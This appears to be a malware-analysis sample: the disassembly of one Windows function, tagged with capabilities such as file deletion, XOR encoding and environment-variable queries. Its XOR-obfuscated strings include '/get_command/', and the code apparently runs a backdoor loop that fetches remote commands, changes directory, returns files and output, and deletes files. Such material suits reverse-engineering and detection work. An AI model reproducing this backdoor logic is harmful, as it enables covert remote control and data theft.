Function at 0x1400cee40
Capabilities:
Delete file
Encode data using xor
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x208
call fcn.14000e417
lea rbx, [rsp + 0x180]
lea rsi, [rsp + 0x148]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0x1e
call fcn.140001851
mov rcx, rbx
call fcn.1400027b9
mov rcx, rsi
call fcn.140002772
mov rdx, rbx
mov rcx, rsi
call fcn.140003016
mov rcx, rsi
mov edi, eax
call fcn.1400ab650
mov rcx, rbx
call fcn.1400ab650
test dil, dil
jne 0x1400cef34
lea rbp, [rsp + 0x108]
mov edx, 0x12
lea r12, [rsp + 0x128]
mov rcx, rbp
call fcn.140002e31
mov r8, rbp
lea rdx, [0x14010c0a0]
mov rcx, r12
call fcn.1400cb8e0
mov rdx, rbp
mov rcx, rbx
call fcn.1400ae730
mov rcx, rsi
call fcn.140002772
mov rdx, rbx
mov rcx, rsi
call fcn.140003058
mov rcx, rsi
call fcn.1400ab650
mov rcx, rbx
call fcn.1400ab650
mov rcx, r12
call fcn.1400ab650
mov rcx, rbp
call fcn.1400ab650
mov eax, 1
add rsp, 0x208
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 0x3c
lea rbp, [rsp + 0xe8]
call fcn.140001851
lea rdx, [0x14010c0d0]
lea rcx, [0x14010c0c0]
xor r8d, r8d
call sub.gdiplus.dll_GdiplusStartup
lea rax, [rsp + 0x98]
xor ecx, ecx
xor edx, edx
mov qword [rsp + 0x88], rax
xor eax, eax
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0xd0], rcx
mov rcx, rbp
mov byte [rsp + 0x98], 0
mov qword [rsp + 0xb0], rdx
mov byte [rsp + 0xb8], 0
mov qword [rsp + 0xc8], rax
mov byte [rsp + 0xd8], 0
call fcn.1400043bc
lea rcx, [rsp + 0x60]
mov r8, rbx
lea rdx, [0x140002f55]
mov qword [rsp + 0x180], rbp
call fcn.1400aa520
lea rcx, [rsp + 0x68]
mov r8, rbx
lea rdx, [0x1400033c2]
mov qword [rsp + 0x180], rbp
call fcn.1400aa520
lea r13, [rsp + 0x149]
lea r14, [0x14010c100]
mov byte [rsp + 0x156], 0
movabs rax, 0x111d210a1b19517e
lea rdx, [rsp + 0x155]
mov dword [rsp + 0x150], 0x101f1313
mov word [rsp + 0x154], 0x511a
mov qword [rsp + 0x148], rax
mov rax, rsi
xor byte [rax + 1], 0x7e
inc rax
cmp rax, rdx
jne 0x1400cf04b
mov r8, rbp
mov rdx, r13
mov rcx, rbx
call fcn.1400cb860
lea r12, [rsp + 0x88]
mov r9d, 0x3c
mov rdx, rbx
mov rcx, r14
mov r8, r12
call fcn.140001bbc
mov edi, eax
mov rcx, rbx
call fcn.1400ab650
cmp edi, 0xe8
jne 0x1400cf011
cmp qword [rsp + 0x90], 0
je 0x1400cf011
lea rax, [rsp + 0x70]
mov rdx, r12
mov rcx, rax
mov qword [rsp + 0x30], rax
call fcn.1400034d5
mov r15, qword [rsp + 0x70]
lea rdi, [rsp + 0x181]
mov dword [rsp + 0x180], 0x646357
mov rdx, rdi
mov rcx, r15
call fcn.1400cb090
test al, al
je 0x1400cf1b6
mov rcx, qword [r15 + 0x20]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
test eax, eax
jne 0x1400cf13d
movabs rax, 0x5a53781b6610603b
lea rdx, [rsp + 0x158]
mov word [rsp + 0x158], 0x31
mov qword [rsp + 0x148], rax
movabs rax, 0x49525f1b5f5e5c55
mov qword [rsp + 0x150], rax
mov rax, rsi
xor byte [rax + 1], 0x3b
inc rax
cmp rdx, rax
jne 0x1400cf12c
mov rdi, r13
jmp 0x1400cf18a
mov byte [rsp + 0x192], 0
lea rdx, [rsp + 0x191]
movabs rax, 0x434b6c0a7707712a
mov word [rsp + 0x190], 0x204e
mov qword [rsp + 0x180], rax
movabs rax, 0x490a455e0a4e4f46
mov qword [rsp + 0x188], rax
mov rax, rbx
xor byte [rax + 1], 0x2a
inc rax
cmp rax, rdx
jne 0x1400cf17e
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r8, qword [rsp + 0xb0]
mov r9, rdi
xor edx, edx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xa8]
call fcn.1400ab670
jmp 0x1400cf404
mov dword [rsp + 0x180], 0x454e4e2a
mov rax, rbx
lea rdx, [rsp + 0x184]
mov word [rsp + 0x184], 0x59
xor byte [rax + 1], 0x2a
inc rax
cmp rax, rdx
jne 0x1400cf1d6
mov rdx, rdi
mov rcx, r15
call fcn.1400cb090
test al, al
je 0x1400cf225
mov rdx, r12
mov rcx, rbx
call fcn.1400035b4
mov rdi, qword [rsp + 0x180]
mov rcx, qword [rdi + 0x40]
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
mov rcx, qword [rdi + 0x20]
mov edx, eax
call fcn.140002afd
mov rcx, rbx
call fcn.1400aa750
jmp 0x1400cf539
mov dword [rsp + 0x188], 0x504b4c
lea rdx, [rsp + 0x18a]
movabs rax, 0x574a414156475724
mov qword [rsp + 0x180], rax
mov rax, rbx
xor byte [rax + 1], 0x24
inc rax
cmp rax, rdx
jne 0x1400cf24d
mov rdx, rdi
mov rcx, r15
call fcn.1400cb090
test al, al
je 0x1400cf3e1
mov edx, 0x20
mov rcx, rbx
call fcn.140002d08
lea r12, [rsp + 0x128]
lea rdx, [0x1400d7172]
mov rcx, r12
call fcn.14000188c
mov dword [rsp + 0x5a], 0x39312054
lea rax, [rsp + 0x5a]
lea rdx, [rsp + 0x5e]
mov word [rsp + 0x5e], 0x24
xor byte [rax + 1], 0x54
inc rax
cmp rax, rdx
jne 0x1400cf2a9
lea rcx, [rsp + 0x5b]
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
xor edx, edx
mov rcx, r12
mov r8, rax
call fcn.1400ad330
mov rdx, rax
mov rcx, rsi
lea rdi, [rsp + 0x108]
call fcn.1400ae470
mov rcx, rsi
mov r15, qword [rsp + 0x188]
add r15, qword [rsp + 0x150]
call fcn.140036790
cmp rax, r15
jae 0x1400cf318
mov rcx, rbx
call fcn.140036790
cmp rax, r15
jb 0x1400cf318
mov r8, rsi
xor edx, edx
mov rcx, rbx
call fcn.1400ad3d0
jmp 0x1400cf323
mov rdx, rbx
mov rcx, rsi
call fcn.1400acd30
mov rdx, rax
mov rcx, rdi
call fcn.1400ae470
mov rcx, rsi
call fcn.1400ab650
mov rcx, r12
call fcn.1400ab650
mov rcx, rbx
call fcn.1400ab650
mov rcx, rdi
call fcn.1400021dd
mov byte [rsp + 0x15a], 0
lea rdx, [rsp + 0x159]
movabs rax, 0xa261d171c0a5679
mov word [rsp + 0x158], 0x560d
mov qword [rsp + 0x148], rax
movabs rax, 0x16110a171c1c0b1a
mov qword [rsp + 0x150], rax
mov rax, rsi
xor byte [rax + 1], 0x79
inc rax
cmp rax, rdx
jne 0x1400cf38f
mov r8, rbp
mov rdx, r13
mov rcx, rbx
call fcn.1400cb860
lea r12, [rsp + 0x180]
lea r9, [rsp + 0xc8]
mov r8, rdi
mov rcx, r14
mov rdx, r12
call fcn.1400037d8
mov rcx, r12
call fcn.1400ab650
mov rcx, qword [rsp + 0x108]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
jmp 0x1400cf531
mov rdx, r12
mov rcx, rbx
call fcn.140002488
lea rcx, [rsp + 0xa8]
mov rdx, rbx
call fcn.1400017b8
mov rcx, rbx
call fcn.1400ab650
lea rcx, [rsp + 0xa8]
call fcn.14000282f
lea rdx, str.output
mov rcx, rbx
mov rdi, rax
call fcn.14000188c
jmp 0x1400cf42a
lea rcx, [rsp + 0x1a0]
mov rdx, rdi
call fcn.14000188c
xor edx, edx
xor ecx, ecx
call sub.api_ms_win_crt_stdio_l1_1_0.dll__getcwd
lea r12, [rsp + 0x1c0]
lea rdx, [rsp + 0x108]
mov qword [rsp + 0x108], rax
mov rcx, r12
call fcn.1400018d0
jmp 0x1400cf481
lea rdx, [rsp + 0x40]
mov rcx, rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 2
call fcn.14000412e
lea rdi, [rsp + 0x128]
mov rdx, rsi
mov rcx, rdi
call fcn.140003260
mov rcx, rsi
call fcn.140084cc0
mov rcx, r12
call fcn.1400a70d0
mov rcx, rbx
call fcn.1400a70d0
lea rdx, [rsp + 0x154]
mov dword [rsp + 0x150], 0x48494c48
movabs rax, 0x49536348594f133c
mov word [rsp + 0x154], 0x13
mov qword [rsp + 0x148], rax
mov rax, rsi
xor byte [rax + 1], 0x3c
inc rax
cmp rax, rdx
jne 0x1400cf4f9
mov r8, rbp
mov rdx, r13
mov rcx, rbx
call fcn.1400cb860
lea r9, [rsp + 0xc8]
mov r8, rdi
mov rdx, rbx
mov rcx, r14
call fcn.140001e6c
mov rcx, rbx
call fcn.1400ab650
mov rcx, rdi
call fcn.1400ab650
mov rcx, qword [rsp + 0x30]
call fcn.1400aa750
jmp 0x1400cf011